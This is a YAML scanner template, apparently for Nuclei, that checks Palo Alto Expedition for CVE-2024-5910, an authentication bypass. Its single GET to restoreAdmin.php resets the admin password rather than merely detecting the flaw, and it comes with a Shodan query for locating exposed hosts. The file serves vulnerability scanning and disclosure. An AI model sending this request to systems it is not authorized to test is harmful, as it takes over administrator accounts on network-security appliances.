CVE-2024-5910: Palo Alto Expedition - Admin Account Takeover

id: CVE-2024-5910

info:
  name: Palo Alto Expedition - Admin Account Takeover
  author: johnk3r
  severity: critical
  description: |
    Missing authentication for a critical function in Palo Alto Networks Expedition can lead to an Expedition admin account takeover for attackers with network access to Expedition.
  reference:
    - https://www.horizon3.ai/attack-research/palo-alto-expedition-from-n-day-to-full-compromise
    - https://security.paloaltonetworks.com/CVE-2024-5910
    - https://nvd.nist.gov/vuln/detail/CVE-2024-5910
  classification:
    cve-id: CVE-2024-5910
    cvss-score: 9.3
    cwe-id: CWE-306
    epss-score: 0.91029
    epss-percentile: 0.99611
  metadata:
    verified: true
    max-request: 1
    vendor: paloaltonetworks
    product: expedition
    shodan-query: http.favicon.hash:1499876150
  tags: cve,cve2024,palo-alto,auth-bypass,kev,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/OS/startup/restore/restoreAdmin.php"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Admin user found"
          - "Admin password restored"
        condition: and

      - type: status
        status:
          - 200
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